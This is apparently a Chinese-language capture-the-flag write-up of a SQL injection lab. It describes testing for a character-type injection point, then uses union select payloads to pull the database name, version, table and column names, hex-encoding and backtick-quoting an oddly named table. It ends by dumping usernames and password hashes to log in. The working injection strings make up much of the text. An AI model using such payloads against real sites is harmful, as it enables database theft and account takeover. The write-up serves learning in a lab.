思路:首先试一下单引号先,发现报错,这里发现报错就能用报错注入的方式解决,具体操作看别的(用这种方法我是成功了),然后按照普通注入的正常玩法的话,发现注入点,判断这应该是字符型,然后试着闭合,发现也可以,欸,那就是正常注入了
总结:先判断注入点,注入类型,然后正常一套操作,order by不行就再试试select,(实在不行报错注入的方法也能做),然后就算遇到特殊字符的库名表名要注意用编码,还有反单引号的应用
ps:关于反单引号的知识点【原本是拿来防止把正常的字符当成保留字符,即 别把表名为select的表当成了执行代码select 】MySQL中单引号,双引号和反引号的区别_爱吃牛肉的大老虎的博客-CSDN博客_mysql双引号和单引号
关于 -- --' --+ # 的区别【url里面会曲解#所以在url不能用#来注释】
sql注入中的--+注释问题探索_xiayun1995的博客-CSDN博客_sql注入注释
首先是用order by 判断 多少列,但是吧,好像不管order by 多少都不会报错,这个应该就是这题的过滤了吧,然后我接着就用报错注入的方式去完成了
但事实上还可以再试试直接用 union select 1,2,3,4.....然后到了union select 1,2,3,4,5,6,7发现了回显且不报行数不对的错【这个故事告诉我们,用order by 不行的时候也试试union select 再说】
id=-1'union select 1,2,3,4,5,6,7 --'
然后就库,版本
id=-1'union select 1,database(),version(),4,5,6,7 --'
表
' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema =database()),4,5,6,7 --'
列,这里你去查表的时候会发现不是我们熟悉的stormgroup_member,而是第一个长相奇特的表名,大概是为了给我们增加难度的,但是反正要用ASCLL编码前面加0x来绕过
' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name =0x2840646d696e395f746434627d),4,5,6,7 --'
然后就是找值,这里要注意俩点,一个是用完整的对应7列去找数据,不然会报列数不对的错误,一个是表名要用 反单引号括起来,不然会报错,就是这个特殊表名会闭合我们的语句导致的错误
' union select 1,2,(select group_concat(username,password) from `(@dmin9_td4b}`),4,5,6,7 --'
然后就是用第四个账号和md5去解的密码去登入就能获得正确的key,这里注意后面的32位才是md5,账号是mozhe3